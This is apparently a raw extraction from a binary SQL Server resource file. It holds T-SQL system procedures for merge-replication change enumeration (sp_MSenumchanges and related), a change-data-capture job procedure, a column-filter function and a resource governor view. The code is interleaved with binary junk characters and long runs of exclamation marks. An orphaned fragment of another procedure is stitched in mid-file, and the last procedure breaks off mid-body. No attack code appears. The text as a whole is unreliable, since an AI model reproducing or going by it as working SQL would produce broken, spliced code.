        exec sys.sp_executesql @command, N'@tablenick int = 0, @rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'', @pubid uniqueidentifier = ''000!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`o<[)i0= D8WhGC.H0A D8nh	.	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`2	<[-V:K036 8create procedure sys.sp_MSenumchanges
    (@maxrows int, 
     @genlist varchar(8000), 
     @tablenick int = 0, 
     @rowguid uniqueidentifier = '00000000-0000-0000-0000-000000000000', 
     @pubid uniqueidentifier = NULL,
     @oldmaxgen bigint =0, 
     @mingen bigint = 0, 
     @maxgen bigint = 0,
     @compatlevel int = 10,     -- backward compatibility level, default=Sphinx
     @return_count_of_rows_initially_enumerated bit = 0,
     @enumentirerowmetadata bit= 1,
     @blob_cols_at_the_end bit=0,
     @maxschemaguidforarticle uniqueidentifier = NULL) 
as
    declare @tnstring   nvarchar(12)
    declare @oldmaxgenstr  nvarchar(21)
    declare @retcode    smallint
    declare @procname   nvarchar(270)
    declare @generation_clause1 nvarchar(max)
    declare @generation_clause2 nvarchar(max)
    declare @generation_clause3 nvarchar(max)
    declare @error      int
    declare @count_of_rows_initially_enumerated int
    declare @rowguid_clause nvarchar(200)

    declare @objid_str  nvarchar(15)
    declare @objid      int
    declare @sync_objid int
    declare @sync_objid_str nvarchar(15)
    declare @colid      int
    declare @atpublisher  bit

    -- Security Checking 
    -- PAL user has access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
    
    select @generation_clause1 = ' '
    select @generation_clause2 = ' ' 
    select @generation_clause3 = ' '
    
    /*
    ** To public.
    */
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSenumchanges')
        return (1)
    end
    if (@genlist is null)
    begin
        RAISERROR(14043, 16, -1, '@genlist', 'sp_MSenumchanges')
        return (1)
    end
    
    create table #cont (
        tablenick int NOT NULL, 
        rowguid uniqueidentifier NOT NULL, 
        generation bigint NULL, 
        lineage varbinary(311) NULL, 
        colv1 varbinary(2953) NULL)
    
    select @procname = 'dbo.' + select_proc, @objid=objid, @sync_objid=sync_objid
        from dbo.sysmergearticles 
        where nickname=@tablenick and pubid = @pubid
     if @@rowcount=0
         return 1
     select @objid_str = convert(nvarchar, @objid)
     if @@rowcount=0
         return 1
     select @sync_objid_str = convert(nvarchar, @sync_objid)
     if @@rowcount=0
         return 1

    set @tnstring = convert(nchar, @tablenick)

    if @rowguid = '00000000-0000-0000-0000-000000000000'
        select @rowguid_clause = ' '
    else 
        select @rowguid_clause = ' and rowguid > ''' + convert(nchar(36), @rowguid) +   ''' '

    declare @selecttop nvarchar(50)
    if (@maxrows = 0)
        set @selecttop= 'select'
    else
        set @selecttop= 'select top ' + cast(@maxrows as nvarchar(9)) 

    declare @mingenstr nvarchar(21)
    declare @maxgenstr nvarchar(21)

    select @mingenstr = convert(nvarchar, @mingen)
    select @maxgenstr = convert(nvarchar, @maxgen)

    if (@maxgen = 0)
    begin
        select @generation_clause1 = ' generation in ('
        select @generation_clause2 = rtrim(ltrim(@genlist))
        select @generation_clause3 = ') '
    end
    else if @mingen = @maxgen
    begin
        select @generation_clause1 = ' generation = ' + @mingenstr + ' '
    end
    else
    begin
        -- this is always the case for 90 db, we omit @maxgenstr for blobgen since we are selecting subset from #cont
        select @generation_clause1 = ' generation >= ' + @mingenstr + ' and generation <= ' + @maxgenstr + ' and 
                         generation in ('
                select @generation_clause2 = rtrim(ltrim(@genlist))
                select @generation_clause3 = ') '
    end
    
    declare @metadatacols nvarchar(300)

    if 0 = @enumentirerowmetadata
        set @metadatacols= 'generation, null, null'
    else if @compatlevel >= 90
        set @metadatacols= 'generation, lineage, colv1'
    else if sys.fn_fIsColTracked(@tablenick) = 1
    begin
        declare @cCols int
        set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
        set @metadatacols= 'generation, {fn LINEAGE_90_TO_80(lineage)}, {fn COLV_90_TO_80(colv1,' + cast(@cCols as nvarchar(6)) +')}'
    end
    else
        set @metadatacols= 'generation, {fn LINEAGE_90_TO_80(lineage)}, colv1'
    
    if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
    begin
        if @oldmaxgen > 0
        begin
            set @oldmaxgenstr = convert(nvarchar, @oldmaxgen)
            execute ('insert into #cont ' +
                        @selecttop + ' tablenick, rowguid, ' + @metadatacols + '
                            from dbo.MSmerge_contents where 
                            (
                                (
                                    ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + '
                                )
                                or generation = 0 or generation > ' + @oldmaxgenstr + '
                            ) 
                            and tablenick = ' + @tnstring + 
                            @rowguid_clause + ' 
                            order by tablenick, rowguid' )
        end
        else
        begin
            execute ('insert into #cont ' +
                        @selecttop + ' tablenick, rowguid, ' + @metadatacols + '
                            from dbo.MSmerge_contents where ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + ' and 
                            tablenick = ' + @tnstring +
                            @rowguid_clause + ' 
                            order by tablenick, rowguid' )
        end

        select @count_of_rows_initially_enumerated = @@rowcount, @error = @@error

        if @error <>0 
        begin
            return (1)
        end
        if @return_count_of_rows_initially_enumerated = 1
            select @count_of_rows_initially_enumerated
    end

    -- Optimize: check colid is valid for the article in this publication or as currently we rely on sel_sp to pick right colid
    if (sys.fn_MSmerge_islocalpubid(@pubid) = 1) 
        exec @retcode = @procname 
                        @maxschemaguidforarticle = @maxschemaguidforarticle,
                        @type= 2,
                        @enumentirerowmetadata= @enumentirerowmetadata, --??
                        @blob_cols_at_the_end=@blob_cols_at_the_end
    else
        exec @retcode = @procname 
                        @maxschemaguidforarticle = NULL,
                        @type= 2,
                        @enumentirerowmetadata= @enumentirerowmetadata, --??
                        @blob_cols_at_the_end=@blob_cols_at_the_end
    IF @@ERROR<>0 or @retcode<>0
    
    begin
        RETURN (1)
    end



    drop table #cont
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`G)<cs+0g ;8create procedure sys.sp_MSenumchangesdirect
    (@maxrows int, 
     @genlist varchar(2000), 
     @tablenick int = 0, 
     @rowguid uniqueidentifier = '00000000-0000-0000-0000-000000000000', 
     @pubid uniqueidentifier = NULL,
     @oldmaxgen bigint =0, 
     @mingen bigint = 0, 
     @maxgen bigint = 0,
     @compatlevel int = 10,     -- backward compatibility level, default=Sphinx
     @enumentirerowmetadata bit= 1,
     @blob_cols_at_the_end bit=0,-- when this bit is set the blob columns are returned in the end of the row set.
     @maxschemaguidforarticle uniqueidentifier = NULL) 
as
    declare @tnstring   nvarchar(12)
    , @oldmaxgenstr  nvarchar(21)
    , @rgstring   nvarchar(38)
    , @generation_clause nvarchar(max)
    , @generation_declare_list nvarchar(max)
    , @generation_select_list nvarchar(max)
    , @generation_union_list nvarchar(max)   
    , @genlist_innerjoin_clause nvarchar(max)
    , @quoted_owner_qualified_table_name nvarchar(776) -- 128*2 for dbname, 128*2 for owner, 128*2 for tablename, 8 for [].[].[]
    , @objid        int
    , @selecttop nvarchar(50)
    , @mingenstr nvarchar(21)
    , @maxgenstr nvarchar(21)
    , @metadatacols nvarchar(300)
    , @cCols int
    , @rowguid_clause nvarchar(200)
    , @cmd nvarchar(max)
    , @column_list nvarchar(max)
    , @column_list_blob nvarchar(max)
    , @retcode smallint
    , @artid uniqueidentifier
    , @dbname nvarchar(258)
    , @currentmaxschemaguidforarticle uniqueidentifier

   
    -- Security Checking 
    -- PAL user access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    exec sys.sp_MSmerge_parsegenlist @genlist, @generation_declare_list output, @generation_select_list output, @generation_union_list output    

    select @generation_clause = ' '
    select @genlist_innerjoin_clause = ' '
    
    select @dbname = quotename(db_name())
    
    set @tnstring = convert(nchar, @tablenick)
    select @objid = objid, @artid = artid from dbo.sysmergearticles where nickname = @tablenick
    select @quoted_owner_qualified_table_name = @dbname + '.' + quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
    from sys.objects where object_id = @objid

    select @cmd = @generation_declare_list + @generation_select_list

    if (@maxrows = 0)
        set @selecttop= ' 
    select'
    else
        set @selecttop= ' 
    select top ' + cast(@maxrows as nvarchar(9)) 

    select @mingenstr = convert(nvarchar, @mingen)
    select @maxgenstr = convert(nvarchar, @maxgen)
                                                                        
        if @rowguid = '00000000-0000-0000-0000-000000000000'
                select @rowguid_clause = ' '
        else
        begin
                --set @rgstring = '''' + convert(nchar(36), @rowguid) + ''''
                --select @rowguid_clause = ' and mc.rowguid > ' + @rgstring + ' and t.rowguidcol > ' + @rgstring
                select @rowguid_clause = ' and mc.rowguid > @rowguid and t.rowguidcol > @rowguid '
        end 

    if 0 = @enumentirerowmetadata
        set @metadatacols= 'mc.generation, null, null'
    else if @compatlevel >= 90
        set @metadatacols= 'mc.generation, mc.lineage, mc.colv1'
    else if sys.fn_fIsColTracked(@tablenick) = 1
    begin
        set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
        set @metadatacols= 'mc.generation, {fn LINEAGE_90_TO_80(mc.lineage)}, {fn COLV_90_TO_80(mc.colv1,' + cast(@cCols as nvarchar(6)) +')}'
    end
    else
        set @metadatacols= 'mc.generation, {fn LINEAGE_90_TO_80(mc.lineage)}, mc.colv1'

    select @column_list = column_list, @column_list_blob = column_list_blob from dbo.sysmergepartitioninfoview where artid = @artid and pubid=@pubid    

    -- Use the column list with blob columns in the end if the blob_cols_at_the_end is 1
    if @blob_cols_at_the_end = 1
        select @column_list = @column_list_blob

    if @column_list is NULL
    begin
        exec @retcode = sys.sp_MSgetviewcolumnlist @pubid = @pubid, @source_objid = @objid, @column_list = @column_list OUTPUT, @prefix_tablename = 't.', @blob_cols_at_the_end=@blob_cols_at_the_end
        if @@ERROR<>0 OR @retcode <> 0
            return @retcode
    end

    if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
    begin
        if (@maxgen = 0)
        begin
                                
                select @genlist_innerjoin_clause = N'
                inner join ( ' + @generation_union_list + '                    
                ) as genlist
				  on mc.generation = genlist.gen
                  and genlist.gen is not NULL'
        end
        else if @maxgen = @mingen
                select @generation_clause = ' mc.generation = ' + @mingenstr + ' '
        else
        begin
                
                select @generation_clause = N' mc.generation >= ' + @mingenstr + N' and mc.generation <= ' + @maxgenstr + N' '
                select @genlist_innerjoin_clause = N'
                inner join ( ' + @generation_union_list + '                    
                ) as genlist
				  on mc.generation = genlist.gen
                  and genlist.gen is not NULL'              
        end

        if @oldmaxgen > 0
        begin
                set @oldmaxgenstr = convert(nvarchar, @oldmaxgen)
			    select @cmd = @cmd + @selecttop + N' mc.tablenick, mc.rowguid, ' + @metadatacols + N', ' + @column_list + N'
                        from   ' + @dbname + N'.[dbo].[MSmerge_contents] mc
                    inner join ' + @quoted_owner_qualified_table_name + N' t
                        on mc.rowguid = t.rowguidcol
                    ' + @genlist_innerjoin_clause + N'
                    where (
                        (' + @generation_clause + N')
                        or mc.generation = 0 or mc.generation > ' + @oldmaxgenstr + N'
                        )
                        and mc.tablenick = ' + @tnstring + 
                        @rowguid_clause + N'
                        order by mc.tablenick, mc.rowguid'                 
        end
        else
        begin
                select @cmd = @cmd + @selecttop + N' mc.tablenick, mc.rowguid, ' + @metadatacols + N', ' + @column_list + N'
                        from  ' + @dbname + N'.[dbo].[MSmerge_contents] mc
                    inner join ' + @quoted_owner_qualified_table_name + N' t
                        on mc.rowguid = t.rowguidcol
                    ' + @genlist_innerjoin_clause + N'
                    where ' + @generation_clause + N'
                        and mc.tablenick = ' + @tnstring + 
                        @rowguid_clause + N'
                        order by mc.tablenick, mc.rowguid'         
        end


        select @currentmaxschemaguidforarticle = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)

        /* At the publisher, if the max schema guid for article has changed and is different from the agent's schema version for article raise error */
        if ((sys.fn_MSmerge_islocalpubid(@pubid) = 1) and (@maxschemaguidforarticle IS NOT NULL) and (@currentmaxschemaguidforarticle <> @maxschemaguidforarticle))
        begin
            RAISERROR (25007, 11, -1)
            return 5
        end 

        exec sys.sp_executesql @cmd, N'@rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000''', @rowguid=@rowguid            
        if @@error <>0 
        begin
            return (1)
        end
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`F
<
z+o&0I 8CREATE VIEW sys.dm_resource_governor_configuration AS
	SELECT *
	FROM OpenRowSet(TABLE DM_RG_CONFIGURATION)
0^ 8-- This is similiar to sp_MSEnumChanges, except @temp_cont (generated by sp_MSsetupbelongs) 
-- is used instead of MSMerge_Contents plus genlist,maxgen,mingen
-- And @rowguid as input is used as marker
create procedure sys.sp_MSenumpartialchanges
    (@maxrows int, 
     @temp_cont sysname, 
     @tablenick int, 
     @rowguid uniqueidentifier, 
     @pubid uniqueidentifier = NULL,
     @compatlevel int = 10, -- backward compatibility level, default=Sphinx
     @return_count_of_rows_initially_enumerated bit = 0,
     @enumentirerowmetadata bit= 1,    
     @blob_cols_at_the_end bit=0,
     @maxschemaguidforarticle uniqueidentifier=NULL)
as
    declare @retcode        smallint
    declare @tnstring       nvarchar(12)
    -- Owner qualified
    declare @procname       nvarchar(270)
    declare @error          int
    declare @count_of_rows_initially_enumerated int

    declare @objid              int
    declare @objid_str  nvarchar(15)
    declare @sync_objid int
    declare @sync_objid_str nvarchar(15)
    declare @colid              int
    declare @rowguid_clause nvarchar(200)

    -- Security Checking 
    -- PAL user has access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if (@tablenick is null)
    begin
    RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSenumpartialchanges')
    return (1)
    end

    set @tnstring = convert(nchar, @tablenick)

    if @rowguid is null or @rowguid = '00000000-0000-0000-0000-000000000000'
        select @rowguid_clause = ' '
    else
        select @rowguid_clause = ' and rowguid > ''' + convert(nchar(36), @rowguid) + ''' '

    create table #cont (
        tablenick int NOT NULL, 
        rowguid uniqueidentifier NOT NULL, 
        generation bigint NULL, 
        lineage varbinary(311) NULL, 
        colv1 varbinary(2953) NULL)

    select @procname = 'dbo.' + select_proc, @objid=objid, @sync_objid=sync_objid
        from dbo.sysmergearticles 
        where nickname=@tablenick and pubid = @pubid
    if @@rowcount=0
        return 1
    select @objid_str = convert(nvarchar, @objid)
    if @@rowcount=0
        return 1
    select @sync_objid_str = convert(nvarchar, @sync_objid)
    if @@rowcount=0
        return 1

    declare @selecttop nvarchar(50)
    if (@maxrows = 0)
        set @selecttop= 'select'
    else
        set @selecttop= 'select top ' + cast(@maxrows as nvarchar(9)) 
    
    declare @metadatacols nvarchar(300)

    if 0 = @enumentirerowmetadata
        set @metadatacols= 'generation, null, null'
    else if @compatlevel >= 90
        set @metadatacols= 'generation, lineage, colv'
    else if sys.fn_fIsColTracked(@tablenick) = 1
    begin
        declare @cCols int
        set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
        set @metadatacols= 'generation, {fn LINEAGE_90_TO_80(lineage)}, {fn COLV_90_TO_80(colv,' + cast(@cCols as nvarchar(6)) +')}'
    end
    else
        set @metadatacols= 'generation, {fn LINEAGE_90_TO_80(lineage)}, colv'

    execute ('insert into #cont(tablenick, rowguid, generation,lineage,colv1) ' +
                @selecttop + ' tablenick, rowguid, ' + @metadatacols + ' from ' + @temp_cont + ' where
                        tablenick = ' + @tnstring + @rowguid_clause 
                        + ' order by rowguid')
  
    select @count_of_rows_initially_enumerated = @@rowcount, @error = @@error
    if @error <> 0
    begin
        return (1)
    end                     

    if @return_count_of_rows_initially_enumerated = 1
        select @count_of_rows_initially_enumerated

        -- Optimize: check colid is valid for the article in this publication or as currently we rely on sel_sp to pick right colid
        

        exec @retcode= @procname 
                                        @maxschemaguidforarticle = @maxschemaguidforarticle,
                                                @type= 3,  -- for partial changes (horizontal filter)
                                                @enumentirerowmetadata= @enumentirerowmetadata,
                                                @blob_cols_at_the_end=@blob_cols_at_the_end
                                        
    IF @@ERROR<>0 or @retcode<>0 
    begin
        RETURN (1)
    end



    drop table #cont
    return (0)
_id()
		and job_type = @job_type
		and @threshold is not null
	end
	
    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
K&00 /8create function sys.fn_MSisfilteredcolumn (
        @filter_clause nvarchar(max), @column sysname, @objid int) 
returns bit
AS
begin
	declare @retvalue bit, @is_udt_col bit
	
	select @is_udt_col = 0
	
	if @objid is not null
	begin
		if exists (select * from sys.columns where object_id = @objid and name = @column and system_type_id = 240)
			select @is_udt_col = 1
	end
	
	if @is_udt_col = 0
	begin
	
		if '((' + @filter_clause + '))' like '%[^a-zA-Z0-9_$#@]' + @column + '[^a-zA-Z0-9_$#@.!]]%' ESCAPE '!'
			or '((' + @filter_clause + '))' like '%[^a-zA-Z0-9_$#@]' + @column + '!][^a-zA-Z0-9_$#@.]%' ESCAPE '!'
			select @retvalue = 1
		else
			select @retvalue = 0
	end
	else
	begin
		-- With UDT columns, even if there is a period ('.') after an identifier name, the identifier can be the name
		-- of the UDT column. 
		
		if '((' + @filter_clause + '))' like '%[^a-zA-Z0-9_$#@]' + @column + '[^a-zA-Z0-9_$#@]%'
			select @retvalue = 1
		else
			select @retvalue = 0
	end
		
	return @retvalue
end
0t@ 
8create procedure sys.sp_cdc_change_job_internal
(
	@job_type nvarchar(20),
	@maxtrans int,
	@maxscans int,
	@continuous bit,
	@pollinginterval bigint,
	@retention bigint,
	@threshold bigint
)
with execute as 'dbo'
as
begin
    set nocount on
    
    declare @db_name sysname
    
    set @db_name = db_name()
    
    if object_id('msdb.dbo.cdc_jobs') is null
    begin
        raiserror(22993, 16, -1, @db_name)
        return(1)
    end
    
    if not exists
    (
		select * from msdb.dbo.cdc_jobs
		where database_id = db_id()
		and job_type = @job_type
	)
    begin
        raiserror(22997, 16, -1, @job_type)
        return(1)
    end
    
    if (@job_type = N'capture') and ((@retention is not null) or (@threshold is not null))
    begin
        raiserror(22995, 16, -1)
        return(1)
    end

    if (@job_type = N'cleanup') and
		((	@pollinginterval is not null) or
		 (	@maxtrans is not null) or
 		 (	@maxscans is not null) or
		 (  @continuous is not null )) 	
    begin
        raiserror(22996, 16, -1)
        return(1)
    end
    
    if (@maxtrans is not null) and (@maxtrans <= 0)
    begin
        raiserror(22991, 16, -1)
        return(1)
    end
    
    if (@maxscans is not null) and (@maxscans <= 0)
    begin
        raiserror(22970, 16, -1)
        return(1)
    end

    -- 24 hour maximum on polling interval
    if (@pollinginterval is not null) and ((@pollinginterval > (60*60*24)) or (@pollinginterval < 0))
	begin
		raiserror(22990, 16, -1)
		return(1)
	end		

    -- if non null, retention must be greater than 0 and less than or equal to 52594800
    if (@retention is not null) and ((@retention <= 0) or (@retention > 52594800))
	begin
		raiserror(22994, 16, -1)
		return(1)
	end
	
    -- if non null, threshold must be greater than 0 
    if (@threshold is not null) and (@threshold <= 0)
	begin
		raiserror(22850, 16, -1)
		return(1)
	end
	
	-- if @continuous = 0, @pollinginterval is automatically
	-- set to 0
	if (@continuous = 0)
		set @pollinginterval = 0
		
	-- if @pollinginterval > 0, @continuous is automatically
	-- set to 1
	if (@pollinginterval > 0)
		set @continuous = 1		

	-- if @continuous = 0, @pollinginterval is automatically
	-- set to 0
	if (@continuous = 0)
		set @pollinginterval = 0
		
	-- if @pollinginterval > 0, @continuous is automatically
	-- set to 1
	if (@pollinginterval > 0)
		set @continuous = 1		
		
	if (@job_type = N'capture')
	begin
		update msdb.dbo.cdc_jobs
		set pollinginterval = @pollinginterval
		where database_id = db_id()
		and job_type = @job_type
		and @pollinginterval is not null

		update msdb.dbo.cdc_jobs
		set continuous = @continuous
		where database_id = db_id()
		and job_type = @job_type
		and @continuous is not null

		update msdb.dbo.cdc_jobs
		set maxtrans = @maxtrans
		where database_id = db_id()
		and job_type = @job_type
		and @maxtrans is not null
		
		update msdb.dbo.cdc_jobs
		set maxscans = @maxscans
		where database_id = db_id()
		and job_type = @job_type
		and @maxscans is not null
	end	
	else
	begin
		update msdb.dbo.cdc_jobs
		set retention = @retention
		where database_id = db_id()
		and job_type = @job_type
		and @retention is not null
		
		update msdb.dbo.cdc_jobs
		set threshold = @threshold
		where database_id = db_id()
		and job_type = @job_type
		and @threshold is not null
	end
	
    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`		<
)(0B 8create procedure sys.sp_MSenumpartialchangesdirect
    (@maxrows int, 
     @temp_cont sysname, 
     @tablenick int, 
     @rowguid uniqueidentifier, 
     @pubid uniqueidentifier = NULL,
     @compatlevel int = 10, -- backward compatibility level, default=Sphinx
     @enumentirerowmetadata bit= 1,
     @blob_cols_at_the_end bit = 0,-- when this bit is set the blob columns are returned at the end of the rowset.
     @maxschemaguidforarticle uniqueidentifier = NULL) 
as
    declare @tnstring       nvarchar(12)
    , @rgstring             nvarchar(38)
    , @quoted_owner_qualified_table_name nvarchar(521) -- 258 for owner, 258 for tablename, 5 for [].[]
    , @objid                int
    , @selecttop nvarchar(50)
    , @metadatacols nvarchar(300)
    , @cCols int
    , @rowguid_clause nvarchar(200)
    , @cmd nvarchar(max)
    , @column_list nvarchar(max)
    , @column_list_blob nvarchar(max)
    , @retcode int
    , @artid uniqueidentifier
    , @currentmaxschemaguidforarticle uniqueidentifier

    -- Security Checking 
    -- PAL user access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    set @tnstring = convert(nchar, @tablenick)
        
    select @objid = objid, @artid = artid from dbo.sysmergearticles where nickname = @tablenick
    select @quoted_owner_qualified_table_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
    from sys.objects where object_id = @objid

    if (@maxrows = 0)
        set @selecttop= 'select'
    else
        set @selecttop= 'select top ' + cast(@maxrows as nvarchar(9)) 
    
    if 0 = @enumentirerowmetadata
        set @metadatacols= 'mc.generation, null, null'
    else if @compatlevel >= 90
        set @metadatacols= 'mc.generation, mc.lineage, mc.colv'
    else if sys.fn_fIsColTracked(@tablenick) = 1
    begin
